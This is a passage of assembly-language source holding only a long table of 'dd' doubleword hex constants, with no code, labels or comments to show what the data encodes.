0A878EA4h, 0EEA7C7DFh dd 485200E0h, 0EA649D41h, 0F7D99503h, 834AA86Ch, 0FCDA9844h dd 2641FE91h, 0D099B1h, 0B633782Ah, 1903378Dh, 0C3DDFC7Ah dd 7390AF57h, 39271EBEh, 0B8E1229h, 58A29119h, 69C098A9h dd 3E2E4913h, 6100844Eh, 8D290A10h, 41985Eh, 156A5AE9h dd 8ABF3E96h, 4B758C09h, 7B0700Bh, 0FDEE0681h, 9D8E3321h dd 0F758EB88h, 5CFACB2Eh, 74702027h, 0B4566F79h, 118A009Ch dd 0BA802327h, 720317FAh, 63092503h, 29FAD04Dh, 6B593C83h dd 70AD4F8Bh, 1ACC8C00h, 0DB26346Ch, 0E100B6ECh, 772F7FBAh dd 367FEDh, 523ACB66h, 58E41EAEh, 3ABEBF3Ch, 5CC00F9Ah dd 99B9002Eh, 1F1980h, 36D9D60Dh, 27FEB668h, 588F5C00h dd 0DBD23B45h, 0C3A900BEh, 927C85A6h, 0A40070ACh, 0B367A0D6h dd 0BEED4Ah, 0E9CF152h, 0FBE7182Ch, 5BE5E300h, 0BF3DC991h dd 0F81501AAh, 0FF2C4146h, 0F6D3C09Ch, 0D15E0C07h, 33719F0Ah dd 0D70D26Fh, 0B872E6ABh, 0E6030027h, 45B0365Eh, 22018DE0h dd 0FDB70135h, 2BC07Eh, 583C0C5Ch, 3600F968h, 0D8C4A80Ah dd 3C15016h, 0C529E611h, 0C7A760AFh, 46F5C0E0h, 0B400F7C2h dd 0A59743A9h, 5A84C61h, 0D12911FCh, 0AFF480F1h, 0BD03677Fh dd 2A4639ECh, 9692077Bh, 0D4758D48h, 5C74F09Fh, 0C3443000h dd 512283BBh, 3AFF00B3h, 0BCF7EB2Eh, 4C00ADAFh, 0FC19DD46h dd 94CC9Dh, 5E242D52h, 6E92F6DCh, 0C53A48h, 916304B9h dd 130EFD3Dh, 0A253DFC2h, 88DA2180h, 5047646Ah, 92124E45h dd 813558F4h, 0BC273AE1h, 0DC3382EEh, 0CB28A450h, 62C231h dd 5163BAh, 5A205BCDh, 260E2DA9h, 0BB7D8500h, 0D3A6E0A2h dd 0EC9D0098h, 0BD417AC2h, 300062A4h, 96DE5612h, 1257B2EDh dd 0BA030ADBh, 0B5D34C02h, 0E1C07459h, 2207D1h, 0E2C50Bh dd 9805630Ah, 0A2A9422Ah, 0A4176B00h, 0F4EB1595h, 0ABEA03D6h dd 0B6E4D2C1h, 50121CF9h, 0E15693BCh, 0DE88DC54h, 0A5BC8CFh dd 0AE007452h, 0C11A8434h, 26110004h, 48645958h, 894CAFD2h dd 504A0BB9h, 78B20030h, 0DDC051h, 0C7D0275Dh, 96B46C7Dh dd 53056E7Ah, 7B2F2EE2h, 716180EEh, 8E0052F6h, 6F78C541h dd 21A3A2Ah, 0B9E20466h, 0C0DF4B0Bh, 0A78704h, 0FABDC5D8h dd 2B1135FCh, 237C7E03h, 0F8E6E120h, 90D39ACFh, 0FA890096h dd 0A2E4216h, 5300C15Eh, 3EAC78CCh, 0FE94BAh, 0E2055A15h dd 0E52237EDh, 0B9006CF4h, 74629FCh, 0FA3B648Dh, 0FF5E0023h dd 132D8B15h, 98009BD6h, 11F61888h, 1EB38712h, 0C17AEFEBh dd 222E164Ah, 2C8261CDh, 58F71E1Ch, 8903FC68h, 0A1161070h dd 0C9A371h, 22413821h, 1AF485F9h, 0EC8AEF0Ch, 8CCC4968h dd 0D634A979h, 24484015h, 52D7809Fh, 0EF962622h, 0B8C5ED00h dd 0AD161866h, 0F3A72893h, 3B67DF0h, 0A5336D69h, 7AAE5682h dd 9483DE5h, 0F2AFE15Dh, 7E9D006Ch, 89BBEA53h, 0A31D0330h dd 801937D1h, 53D4A621h, 0E0C10016h, 0F9D8291Dh, 9360FE47h dd 327891C0h, 0BA130F4Dh, 54C22358h, 3090E25Dh, 0E5115385h dd 968881BBh, 52CDFF80h, 5015B0F9h, 7E58801h, 69396EA7h dd 3A7DA016h, 0BA065E02h, 0E4616689h, 0E57064h, 29D084A9h dd 3435687Dh, 9FA7BE00h, 0AE94B0D9h, 0C78B00D6h, 83C4DDF8h dd 0C800D41Ch, 34AB57A3h, 0C2FB8Fh, 0E9242ACEh, 0C96D1FA6h dd 0A7A3CF00h, 116E4F63h, 1C080019h, 0B5AA9A35h, 403BA8EBh dd 69260058h, 56DE8A49h, 44F41Bh, 2AA325DCh, 7447D572h dd 69B9A807h, 0B1D7CFDFh, 93F7DA40h, 0D92C0089h, 74290364h dd 7100D259h, 0A6885A0Dh, 7F57F63Ah, 7E2C0F28h, 78033430h dd 18003ED4h, 0BC9219ABh, 3C9C1B1Dh, 9F9CF36Eh, 917680A2h dd 0A553A613h, 0AD00A874h, 931569CEh, 7653309h, 0E22639BDh dd 6B7B12ECh, 0DCFE10C1h, 0DD09C144h, 8E96B1FDh, 2A0A0017h dd 0F4660Dh, 761C3DC5h, 6BD6995Ah, 77AA1D0Eh, 292674Ch dd 707B4BE1h, 48D59CCh, 322369C4h, 0B91280A7h, 4E01C6C2h dd 949ACE74h, 3B31A271h, 0B19430h, 0C255C745h, 82FB1E4Eh dd 0AE0A370Eh, 52CC9FFEh, 1F5DC890h, 3CAB6693h, 86D43A07h dd 0F5F4A04Fh, 0B33A5381h, 49599D17h, 11C0E75Ch, 0B5E8656h dd 5C7A00D5h, 0F962FBFEh dd 1C001989h, 2BFF7924h, 0C79F8BA7h, 73205240h, 7DF0749Bh dd 0CBFE895Dh, 73AF9800h, 34284035h, 27DC05C1h, 80C64D94h dd 6049E89Bh, 9F00DE7Eh, 96EC225Bh, 71BC9Ch, 0FCEABB64h dd 0FBE11D2Fh, 0D58F0306h, 17485852h, 1AD2F6h, 0D1209372h dd 0C93E762Bh, 0A9360EA4h, 0AABC1347h, 0DA1F0F01h, 0ECADE9A6h dd 0F2003B03h, 0CE1A4FD9h, 1F3366BCh, 40441B02h, 0F65DB93Dh dd 6E0057EDh, 0DA6A404Dh, 33A0C8Ch, 9BFB43A6h, 33C05031h dd 40005668h, 0F718ED9h, 0ECF8AFEh, 11F0FA72h, 1FD7C080h dd 0B70084F4h, 0B13121D4h, 3B61410Ah, 8B0042C7h, 7FF91198h dd 0DC388997h, 49685F7h, 0F40035DFh, 264D1356h, 3D0F678h dd 5CC397FBh, 0ECC065D3h, 7400EEB7h, 160CFE1Ah, 7D0E604h dd 41251F9Dh, 7AAA60FDh, 37003D8Ah, 2F18EC68h, 50249F94h dd 2259C43h, 0E9983BDCh, 88AACBF1h, 99C001Ah, 75067B2Eh dd 0DA322700h, 1DDE85B8h, 371600F1h, 171B52B1h, 24003861h dd 187513E6h, 1F264433h, 4783CB68h, 40AD57B8h, 8258B423h dd 0C7EAB000h, 0A2EF9B2Eh, 96AC006Ch, 2A260FB1h, 71041C5Bh dd 77F4C3FBh, 517D097h, 4B434FE0h, 0F7C907C1h, 117015CFh dd 0E0CE0348h, 1EC7BEDh, 372AD800h, 7C89D5E6h, 46990018h dd 0D7402B14h, 1074221Ah, 2C8C70Fh, 201BA947h, 0AA609F14h dd 67E4D2h, 0CCA87708h, 0B4466E84h, 0FD46301h, 991E0765h dd 5651E8F3h, 4FC302F9h, 11DF060Dh, 7BFD4840h, 4CE73C3Ah dd 2D341F28h, 0A880FB1Fh, 0DA976495h, 3E7A142Bh, 0F5009002h dd 0CC45C02Eh, 1B704146h, 25909700h, 42B35094h, 5FD3139Eh dd 0CFA1057Dh, 380086B9h, 7F375200h, 0CDF384Ah, 8E25002Ah dd 485BB6BFh, 0DE303320h, 0D4B2827h, 7A807F6Dh, 32B01EA8h dd 1082C099h, 29D2506h, 24FC3A00h, 7CB1D65Dh, 74A80721h dd 0CC6764ADh, 4D031F58h, 118E7861h, 177AC039h, 7C6A0089h dd 0AE3CF1ACh, 38003D80h, 5F201F34h, 0B84D0F8Dh, 0A5F21443h dd 7C30A350h, 45B27B31h, 0B8232B00h, 0E6D99EB0h, 0B8C374C6h dd 3D4D0015h, 0BFCD0EF3h, 0C501390Ah, 2E861256h, 93E01F06h dd 27EF0008h, 0CF0F2078h, 4678D28Dh, 9A25D5Ch, 299BBFh dd 30AFCEFCh, 0D64E00AEh, 2256A88h, 14013124h, 0C05ACCC9h dd 0BAF48727h, 2C7B0703h, 0E0D354B9h, 4F80F2FFh, 0C7914400h dd 0D73BF95Ah, 0E9B50026h, 1CEE86D2h, 0E10C4946h, 98D6DF2Fh dd 0D9DA0044h, 173CE590h, 0C3001E57h, 31D7828Dh, 98BFAE40h dd 768C007Ch, 0C6A9FC03h, 6D24D443h, 0AE006835h, 18F0F974h dd 4628C03Dh, 0CC59E8F2h, 72F68507h, 8C20B6B5h, 481447h dd 3B57CF0Dh, 8981370Ah, 158E3Ch, 0E52F9AF0h, 4A32D380h dd 86DB003h, 0A41CC400h, 3CC2E3A3h, 76432684h, 437C1D8Ah dd 0B7EDBAAEh, 5353688h, 0C8777300h, 810B4F8Dh, 29F0E567h dd 58F8E3h, 4112A527h, 46ED1302h, 660EDF0Eh, 1CCB3CFDh dd 0AE9C2122h, 83C8D5C3h, 0AF2A0024h, 0E4EA820h, 0A200964Bh dd 0F5E4BD86h, 75AD95Dh, 5012F9B8h, 60A34053h, 0A6004A7Dh dd 58886465h, 6295Dh, 0B86A5087h, 0D2A2257Eh, 85613803h dd 25670C8h, 32A90520h, 286153AAh, 7691D0B8h, 66312307h dd 0D59057BDh, 1E41ED9h, 452E2C6Ch, 0F4A1399Ah, 930069E0h dd 6879BBAEh, 60AF2DB0h, 0E32C9407h, 0B101536Ah, 0FA6BD8E4h dd 39D890E5h, 78687C61h, 0F597078Fh, 0D0F4B9D2h, 0CD04D9E3h dd 0F27F1E03h, 804B49E6h, 321458h, 0CEEF4ACh, 0FB163080h dd 0AF38ED01h, 5F6A7406h, 0B999C0h, 6C692CADh, 0A2BEB309h dd 3E949748h, 489802Fh, 0B8F74DA3h, 0E0C53FA8h, 0C1FE3601h dd 30FFE1BFh, 1A0B43ECh, 30D065h, 7E5C2447h, 0EE3A0023h dd 0CDB91C9Fh, 8200C7C3h, 140580BAh, 513B2Ch, 78DAF81Eh dd 0EEF001DDh, 903FAE0h, 0D65BBA87h, 0DB89C8F9h, 20FB0072h dd 378574Ah, 140036C6h, 30EF4BFDh, 6FBED2h, 8584D60Ah dd 4C35700Bh, 61C421C0h, 0F45AE5D8h, 8F5001EAh, 0E2D35D7Ah dd 911424E9h, 3F63BC00h, 0A467EC35h, 0FE80E19h, 0FA205597h dd 0C86189A7h, 2CA8ED00h, 0A3D02BBAh, 46EF00CCh, 9B1E6326h dd 5400E197h, 7E15078Bh, 867775h, 7FD1E90Bh, 896A1079h dd 0DC9D2F0Fh, 7D9FA03Dh, 0C1344C6Fh, 62304280h, 0D5CC3056h dd 0B97A1D16h, 0A577E100h, 50CF7175h, 26E31074h, 6454C4Fh dd 282377B3h, 485894E6h, 62210F94h, 0E04963B2h, 0D2100340h dd 37BF158Ch, 7605BC7Fh, 0B7E84248h, 40CF9EC0h, 38A72AC1h dd 1D217E84h, 17EDCE8Ch, 3F5841ACh, 64EE0C45h, 14007D1Ch dd 566DA567h, 507CD64Fh, 1E87084Ch, 412F445Ch, 0CBD94658h dd 595C41EDh, 0D2518052h, 2F4A584Fh, 7014AEE4h, 0C8E0D8E3h dd 6A078377h, 0B6F71CE1h, 8FBE0EE0h, 0A31300DCh, 3B28E9D0h dd 0C8001A19h, 6285FAFFh, 518DB1h, 0B71ED70h, 0E0ABA932h dd 0F1163100h, 0EEF35F4h, 7107FC5Fh, 1E614h, 3E6DBCEEh dd 0D4A29DCDh, 0E7D67A01h, 8FE6C46Ch, 17FF5E4h, 0DB016169h dd 50069C25h, 40493E84h, 979FCB00h, 812BBF4Fh, 1EF700A3h dd 9EFBC360h, 33284939h, 7B00A81Ch, 344EE1D9h, 30288EC9h dd 0A6F1599Ch, 0A70563E0h, 3FCEAAB2h, 68B9C440h, 3CEB6176h dd 88003E16h, 0D2A9F1FFh, 70003197h, 0CF6D9BBAh, 55EE81h dd 167D40A5h, 0A6670390h, 0D0E79F8h, 0B648B147h, 78A4E507h dd 6227CA40h, 42A04B5Ch, 1A6AC32Ch, 0CDD78077h, 0C9FB917h dd 58231835h, 7FF47DA1h, 9B3DAD00h, 4E6280CFh, 795C9218h dd 0B5A60013h, 3F525F74h, 0FC010FD1h, 0B10AD7AFh, 7DEC570Bh dd 11680115h, 6D191AF7h, 95A050F1h, 48C02B8Fh, 5B720647h dd 0A64D0089h, 3D17F2D9h, 0A830706Dh, 0D14938F0h, 5D0607D7h dd 0B34BB5C5h, 22D02817h, 0B300DB1Eh, 3B5EC16Eh, 5BDE63h dd 23F366DAh, 3E214385h, 4C6C5900h, 1D164B3h, 71460082h dd 0DB51C69Eh, 170F4986h, 40BCBA53h, 2C6B48A5h, 2DC80FCAh dd 6A8110CEh, 30036731h, 0F40FBBC1h, 406CBF47h, 81D1DAA6h dd 1CA57B0Fh, 0C09EC41Ch, 0EE2E1921h, 1DEC6E3Bh, 0A6FAA7FCh dd 4C00ADFAh, 0DA481F24h, 1C73275h, 1386878Dh, 0E16D18A1h dd 970460DBh, 0F2C60F01h, 0D466396Fh, 463D094h, 0B3B8ABh dd 284484CFh, 0D5B1BB8Ch, 7E0618ADh, 1106C9Ch, 0F45FDBCh dd 60447ADCh, 0B2005DD9h, 146B2FFCh, 65EE67Fh, 8CBD63D9h dd 0B842291Fh, 6AD26E08h, 6F8E3210h, 0C6C2111h, 0DE512D73h dd 83911F3h, 1115C011h, 8615D6ADh, 2B702943h, 28423489h dd 763C854Dh, 1E961404h, 0A9422848h, 230224D0h, 9C44C4D5h dd 9AD34610h, 64AE50A1h, 0F015448Bh, 0E1E029C1h, 9CFC92C6h dd 3F561CBFh, 4CA6402Fh, 9B8ABE38h, 0FFE6FA90h, 0D5A7CC00h dd 0B75059A8h, 70BC7EE5h, 6841003Ah, 88BDE45Fh, 0C0CFFC8Dh dd 228560E7h, 1F0642EBh, 0CFE42695h, 0C3A02AFEh, 80166669h dd 0A7079973h, 838994CDh, 0C0F69FF2h, 3F8E406h, 0B8755CA0h dd 0AEC90DC3h, 8F89C8C1h, 884E9B00h, 0FDD28DD4h, 0B2766Fh dd 5814A235h, 0CF159693h, 9B0A6D00h, 0A33D366Eh, 0CB453EBBh dd 0C380AEB8h, 42DD18E6h, 880029DBh, 7BBE6A0Ch, 2F0133h dd 57529C02h, 0B2DA5C36h, 0FAD81001h, 62B10E93h, 788930h dd 4B999465h, 4551EC92h, 8C2CCF00h, 0F84E6C7Eh, 9CDE289Dh dd 566A0093h, 7C691693h dd 1E600C46h, 0BA82AD5Eh, 860D4C54h, 0D473D900h, 923AA8C6h dd 0BB00F9B0h, 0A13648FFh, 1B4BD91h, 51A47FBEh, 0C49C505Bh dd 674809A6h, 896D3A78h, 9B9138h, 10981B45h, 6ADF062Ch dd 0A2FE312Fh, 4A5FA21Eh, 0E9D17240h, 3CE36F81h, 0D8000908h dd 0ACBF896Ch, 5B006D29h, 841DDD3Ah, 523F37h, 4EBC1FB2h dd 3D7A39B9h, 0BA1C8100h, 9ED44CA5h, 0D8DC0790h, 20598636h dd 0AB296003h, 0C8757D00h, 0F0B213F2h, 12D90041h, 453A1BCFh dd 9700B4FDh, 56A165E5h, 0F820DA01h, 0BD310EB0h, 0C802C24h dd 0DED9BEBh, 42506800h, 1417C64Dh, 8CD0030h, 0C243615Ch dd 64F2A5E0h, 48896600h, 0AA598A06h, 2676073Ah, 300CA317h dd 98FFF9Fh, 0F9532900h, 53D2FA0h, 73190024h, 44E132AFh dd 9500500Fh, 9D11812h, 0EE11D7h, 40564A4h, 4A3DD9DEh dd 0E6B1D00h, 0D007765Dh, 0E6370002h, 0B9104B9Bh, 0ED00D908h dd 17EC56EEh, 0BACE0A4h, 2B52B0D2h, 6337E4E0h, 0E71E840Fh dd 33E18059h, 0F8FC5Ah, 0D10DDD11h, 0F4E6B480h, 0B8AC4F00h dd 0EBC32A8Bh, 0B27237h, 6BA50715h, 9A65C689h, 43B94B00h dd 0EE7EBE6Dh, 0E6DF0026h, 0E1FAFE48h, 717220DCh, 7997FF00h dd 0B935CF25h, 7878A1h, 0CB484D63h, 9F584FC1h, 0CEDB9B17h dd 50A2ACA0h, 15D0B8h, 5FED7932h, 0F6AA1CD1h, 0C0475000h dd 0C3951FDFh, 69B90387h, 464E0ACBh, 17D09DC3h, 60E49649h dd 97133D00h, 0C0D6B8E3h, 0FA9106BBh, 0E84A2310h, 8690FD54h dd 9442F206h, 184C1Ch, 67D9810Bh, 8E8B920Dh, 0A353826h dd 63018717h, 0EFC1DA53h, 4A4DA081h, 41E31EA9h, 0C4488FB0h dd 0CC3CF02Dh, 0B4DB00CBh, 0EE1211F5h, 0CEA700D8h, 70937B41h dd 0BB0014DFh, 472E51F0h, 1273A90Ch, 0B5552Ch, 0ED25456Ch dd 24E0F7D7h, 0F868A41Eh, 0C00E452h, 0A2E9214h, 931500C5h dd 205FA986h, 7900D809h, 0ECA52247h, 32F246h, 66B2FB12h dd 2059285Bh, 0B443D400h, 4070537Eh, 8EF7539h, 0B65BF196h dd 56810200h, 1BBB2h, 8B0FE0F0h, 65E1C27Eh, 0FCD25250h dd 0D6680900h, 0A679D347h, 58500A8h, 98C37F51h, 0D91ED114h dd 421CFEDEh, 886786C0h, 0EAD79Eh, 0B1540D4Eh, 0FFB22C91h dd 0A7965E05h, 0EC003B63h, 0A3BFF08Ch, 380C00DEh, 77B35C25h dd 18017CBAh, 0C4844D31h, 40F4598Ch, 0B075006Ah, 1D37D53Dh dd 2828741Bh, 8575BCFEh, 0CF7A7900h, 204EC267h, 66C8A8CDh dd 0D9310E62h, 9127CEF5h, 508D03E8h, 0FDC895EBh, 20329312h dd 0C0FA6049h, 30FB4Ah, 26CFEC9Ch, 0ED3A4552h, 0D6D26900h dd 9A441E36h, 0C2900022h, 5F5D9930h, 6900CEDDh, 508EEDADh dd 0AC915h, 0F1664298h, 4B5BB52Bh, 3BC62100h, 23C8DBD4h dd 0C74900CFh, 2F52FC26h, 0FF00484Ah, 7FD68D2h, 0A61E20h dd 3C77997Fh, 3D560911h, 32B68607h, 4751432Fh, 820E7EAh dd 0E6591F8Dh, 1E8CE44Fh, 3CD88242h, 1860EF5Ch, 0E20056F4h dd 0CAAF3D6Bh, 5DF7B4h, 238B8743h, 63B2DDC0h, 95EA8C00h dd 699141E3h, 829700DAh, 428D48EBh, 83003086h, 0A3774313h dd 0E5C9C5h, 57D58A58h, 75F81C2Dh, 0B03C2A7Fh, 70B86AAh dd 30A8641h, 0BC8BCC79h, 0BDF858F4h, 59007DD8h, 996D144Bh dd 689E8Eh, 1CC73752h, 0CFB5B279h, 0F79FE70Fh, 0EA12A73Fh dd 0D90AEBA0h, 0EDD0074Ah, 613C330Bh, 40C18388h, 39CF3EB4h dd 0DBAE7107h, 73605482h, 94B64DEh, 0D5E856A6h, 0C78A5420h dd 0C000DB52h, 0BB46A239h, 0E6376996h, 0B5EA0001h, 4BF893BAh dd 0AC00877Ah, 0A0F5CB19h, 4C5D0F5Ah, 0E90908E6h, 4C80D9A8h dd 0CF4A94FDh, 0F6726E00h, 4DA531ACh, 0DDCD00A1h, 0E7C038C7h dd 0F41E4355h, 30C05DE6h, 0DA0737FBh, 23660046h, 48FD583Ch dd 67008FD4h, 17DC4ACCh, 36805CAh, 227532C8h, 14C9A395h dd 6F99E37Ah, 0F49DC861h, 2B13B700h, 64AB0677h, 0C0BD0024h dd 8734117Bh, 8FFCA0A3h, 4AF23D58h, 0B33B06BCh, 0E8F2D900h dd 0A127E073h, 5B1D78E8h, 0FDDD32h, 0FC4BD558h, 8764DBh dd 1BF8F155h, 197D97EEh, 0B06A675h, 0D8BBB069h, 0F95800FAh dd 6484E826h, 5A01F60Ah, 0E408BD6Eh, 0A8211BAAh, 52BE30h dd 0CDE5DD86h, 5D93A362h, 0E1108700h, 96D776D9h, 51F00Ah dd 1EF14643h, 0A7DFD51Ch, 0CD5F7700h, 0A83EA416h, 0EFBC00FFh dd 0AF7AB4D7h, 26018B60h, 47BACFD0h, 0F07E78B7h, 41007797h dd 2D6CBF10h, 0F5AF59Bh, 0B1AED1F0h, 900C007Eh, 9167988Dh dd 0A357DA07h, 41B037FDh, 1DB9FCD5h, 0C071EBC8h, 1F176E06h dd 0CD00F99Bh, 24E41590h, 3D3EBF7Ch, 0E1C83BC9h, 0EA1F700h dd 95AA0651h, 94376100h, 422AC2D1h, 289E7229h, 0F4F4F54Ch dd 5B530020h, 0B5261F1h, 7F008083h, 400DA014h, 0AB4FA5h dd 6AC837DEh, 0C26C514Dh, 2B5F9100h, 3302881h, 3F7D05EAh dd 0E90D56h, 0D2A874F8h, 4200DF87h, 6CA1205Ah, 949C5D9h dd 4AEF81BFh, 0B1E3D200h, 2001AFAh, 77E6420Eh, 18515Eh dd 0FEB9D247h, 8AB7D84Eh, 21715500h, 0EB7AE54Ch, 1431EEBEh dd 0AAE20923h, 0B0A05D00h, 59BBA6ABh, 83BFE900h, 53E8DF3Ah dd 3163073Fh, 402EE4A0h, 0EC6ED618h, 0F601FF7Bh, 4CA3D0B6h dd 0EFC82C45h, 347BFCh, 0C11D57DEh, 69FB53B3h, 0FDB2771Eh dd 0A3671C40h, 7665FEh, 10611F9Dh, 386F0D70h, 32A8BA00h dd 6C420589h, 2C9006h, 22E56D30h, 5DA2CEA9h, 0F0484C00h dd 0AEDACC23h, 67401D41h, 0CD0D8FFDh, 25F31820h, 74003349h dd 4B7234F4h, 9ECB12Fh, 843B3D4Dh, 80AECB04h, 0B40B622Ch dd 0C3E31300h, 5F619611h, 0FC3C00C5h, 0C1A1214h, 6DB8E6C7h dd 0B579E02Eh, 67479030h, 4FF62639h, 902500C0h, 9B66663h dd 89000E70h, 834E852Ah, 0A16958h, 0AF91E556h, 0BAD5956Ah dd 7A245D0Fh, 4AC2C05Fh, 4BEED02h, 0D16EA3E5h, 0D76AC020h dd 4F00CB12h, 0D529BCF2h, 9A6856h, 0EAE9BFF3h, 361C1718h dd 4C4EB900h, 420BD965h, 0CC903A83h, 8FAC890Fh, 12DF9A40h dd 7400A334h, 990DC19Eh, 7A58B01h, 0EE59C4E7h, 4D5861D9h dd 8E8DECF8h, 0A6D75100h, 0CEBC4605h, 0A07AF616h, 7819CCB4h dd 42A803DAh, 5CC46CA0h, 8FEF801h, 156DB0F9h, 0CCA560h dd 12A49FB1h, 892941E1h, 0B9948000h, 0E4920149h, 0E2FB390Dh dd 9657FC80h, 2AC0D5F0h, 2CF37500h, 0C5B19439h, 17C09890h dd 0F1E035h, 7A02E41Ch, 67007862h, 0A5F6C22Bh, 70DEB534h dd 0ACDA0156h, 7C04124h, 9FFF303Ch, 658F4500h, 3B621B42h dd 0F8D53955h, 0FE8EBBh, 9A548573h, 0B132C6C1h, 7C843Bh dd 0F2918966h, 31EC10h, 44DF0848h, 8D0D647Ah, 0B1264F00h dd 5B10DB42h, 1CD1013Eh, 2E77307h, 166FF0FCh, 8A97A200h dd 0A7047B47h, 44350058h, 344F2B41h, 6D00F148h, 312D80DBh dd 0BAAFA56h, 9F1CCE33h, 1A63E100h, 0E300244Fh, 475983B7h dd 106AB05h, 0D4E69E12h, 80AE182Eh, 0BDE39710h, 0E0959B74h dd 0CE23391Eh, 5BBB7780h, 0C97825CCh, 6926B502h, 0E8D63DE3h dd 0F6A9BC10h, 0E7600B3h, 0E8F14D88h, 100B2B8h, 0E6299D32h dd 3FB8C51h, 3881CB71h, 8FE89336h, 0AB492CFFh, 1A238004h dd 63885Fh, 0A2B5280h, 0D87B0BC9h, 283EB603h, 0A057CD49h dd 9AD64F3Bh, 731F0918h, 0FCFC8D71h, 0CB000826h, 0D29DEF23h dd 0B746006Dh, 0A40AD940h, 1E003F6Ah, 0D33D9C66h, 88E650h dd 0AB91CF1Ah, 0D17A198Eh dd 7B4C6500h, 475AA36Fh, 0FFD33D0Dh, 3E97F581h, 0F9CA414Bh dd 33D02087h, 3D22170Fh, 0DE6D808Bh, 125F7942h, 40E8BE2Eh dd 258A6867h, 0BD00CFFFh, 0EE306EDEh, 0AFC562h, 39110D4Eh dd 5CC66999h, 9A909C00h, 4441599Dh, 818B16BEh, 0C9004048h dd 25AEADA8h, 0B5C56100h, 0BFB0C8ABh, 2E28004Ch, 845CF81Fh dd 82E70BDh, 8BED898h, 87EB88E7h, 0E0012A37h, 0B7EAA4D7h dd 9852D02Ah, 76AD401Dh, 9394A380h, 1CBEE33Ch, 47D4A8C4h dd 20A75510h, 0E2442811h, 0C731EF00h, 966F3AA1h, 3C909Ah dd 0ADF40B9Bh, 0A5096950h, 0BC899200h, 0B9054DC3h, 38B05Dh dd 0A6360E1Bh, 2ABB4833h, 77BE6700h, 0A7D9A064h, 0D02C48B8h dd 0F8632Eh, 4ED9A7Fh, 210088C1h, 97845A86h, 17C5CAE5h dd 0DF1CD2h, 22CFDB60h, 2900067Ch, 8FFC43B1h, 0E1805Ch dd 449FE60Dh, 1D3BF660h, 0ED04BC7Ah, 194B1551h, 7E34ACC1h dd 7FB370h, 82836507h, 0B667BC73h, 97610400h, 1E897606h dd 66A100F3h, 0BD790DD2h, 0A90087FFh, 84E52E78h, 275B4885h dd 54008F91h, 0C68B6D7Bh, 0D4AFB026h, 0FC518300h, 3EE7E317h dd 3C80259Bh, 0B8AB3954h, 0B10F53A0h, 0C04D7487h, 7A262320h dd 0CDF102F7h, 0C6FE6ADCh, 0AA2C04C0h, 44A7E500h, 0A2A5C152h dd 0B1D84C87h, 8312B558h, 4F04C0F5h, 9D50227Ah, 9FFE05FCh dd 49BC8C04h, 4042E9AFh, 9DC336D8h, 8F3069B8h, 0C8048h dd 5CC1F093h, 16CE742Ch, 159A239h, 0FA0F5F38h, 0A948D835h dd 2F9F4401h, 908EF911h, 0D3023073h, 0CB059846h, 30E2405Fh dd 0AF3D3DFCh, 2BDE4482h, 60404AA1h, 133A59B5h, 0A9CC009Dh dd 0CA066B8Bh, 0C3F6004Bh, 32683C87h, 1300E60Eh, 0F1796C1Dh dd 0E45EA57Eh, 56EC03BFh, 8726B15h, 0FCCD98B9h, 170088CBh dd 61A4DB28h, 1540ECCh, 168D91C1h, 24EDAF13h, 0D6EE5FF0h dd 0ECEA4A00h, 70BC52B9h, 90314964h, 0ED204503h, 4290AF7Fh dd 81050469h, 4BA63999h, 0C0E7B891h, 8700043Ch, 9E5572DDh dd 62005FCEh, 83A2EB14h, 0AD3DACh, 9F63A835h, 207CCBA0h dd 0C5968809h, 0E72C80C7h, 1C6B55h, 0D8D0093Dh, 0DA9DEADCh dd 0C030FE07h, 9863A841h, 718B904Fh, 0E8E2001Ah, 0E42BB3F9h dd 0F5E64681h, 257F809h, 1D4080C3h, 0FD6CF340h, 61D77300h dd 91E24Ch, 388F98AEh, 0F0E89Eh, 8394ACA8h, 5DE4DD2Fh dd 197D8E12h, 80A164C0h, 720B27EEh, 5C93B010h, 285B5639h dd 7E09E0ACh, 0C094434Ch, 2C0EF5Ch, 0E1D9FAA8h, 0B9C0D2CAh dd 500602Ch, 0B53D6BB6h, 18469ED4h, 590C522Ah, 0F40202D2h dd 77BC7133h, 9830E323h, 3ED07C1h, 85085A1Bh, 55F9F10Dh dd 0EAD0300Bh, 0F38298C0h, 24084403h, 0CD801A3h, 9389A612h dd 20E1D807h, 0A03F4E40h, 0E2A1ACBFh, 0B23201B9h, 10FFAA84h dd 16DC30ABh, 980F4100h, 9C3E9658h, 57110C6h, 7C1F01E9h dd 80974356h, 774ED2ECh, 0ACC20065h, 20BE4DF4h, 0CE0E7E2Bh dd 0C0C95359h, 0CDB9CB0Fh, 97E20054h, 0B21C0728h, 0E71669F4h dd 0CE0A9AA8h, 52049CABh, 93213D8Fh, 0E6B181FCh, 0BA82A110h dd 0B76930h, 0FF1B6F8Eh, 0B835276Ah, 6D59F41Eh, 0D180F69Fh dd 0C9603D7Bh, 0F81D2404h, 1C2E0024h, 2E65F49h, 0F7675100h dd 4CF2FC0Ch, 0FF1E00A9h, 1FA41C0Fh, 170064EAh, 14404367h dd 32B8C83h, 79471286h, 8EB2851Ah, 0E836D280h, 7800BD4Ah dd 0DEFA0AC7h, 1E472559h, 5C5428Ah, 2788A3C2h, 0D7E9204Ch dd 0B90EA139h, 8082925Fh, 90FB2365h, 9BD12481h, 0FD880FACh dd 8802BF85h, 8C0EACFCh, 393CEEh, 0B1A5E215h, 277D0BE7h dd 0C825E91Dh, 23AC53h, 0E637010Ch, 7A1F548Eh, 0C81417BCh dd 260402BEh, 64C4CC83h, 38FDB22Eh, 5B00D020h, 2BB7C4E0h dd 571227h, 882C4025h, 8F651F04h, 5A070E00h, 0EB4895F6h dd 30561CC8h, 9F74DF42h, 92825F87h, 0F0C04DFh, 71EC88BDh dd 33EC8426h, 42B75F02h, 20F180ABh, 1E16D6F9h, 80C09ED5h dd 68F85628h, 0D10FDB0Eh, 2EC1FDC3h, 8BA180CCh, 174B979h dd 113C0D7Dh, 70692065h, 33029D15h, 0EE4781FDh, 88386889h dd 0FEB900F0h, 86CF1395h, 0AD7FF6B8h, 0AF0BE470h, 985C2DA2h dd 2C515708h, 7F4B42h, 6BAD7EBDh, 683E5089h, 11E780CEh dd 1D1F7ADDh, 88291D20h, 0A89741EFh, 0F093FE28h, 9F0059EBh dd 54D8F9CEh, 59C76CAh, 0A46FA90Fh, 51388092h, 431D4281h dd 0B5007E5Fh, 7DCA59D1h, 61C008Bh, 8D15E70Bh, 630CEA85h dd 6923294Ah, 2761004Bh, 0AFA3257Bh, 9100FBBBh, 8384B012h dd 958A4EECh, 0D488FF78h, 0B4FE2235h, 9694743Dh, 9F9Eh dd 4DCFE603h, 24FA0E91h, 78E0BD1Ch, 0C10E504Eh, 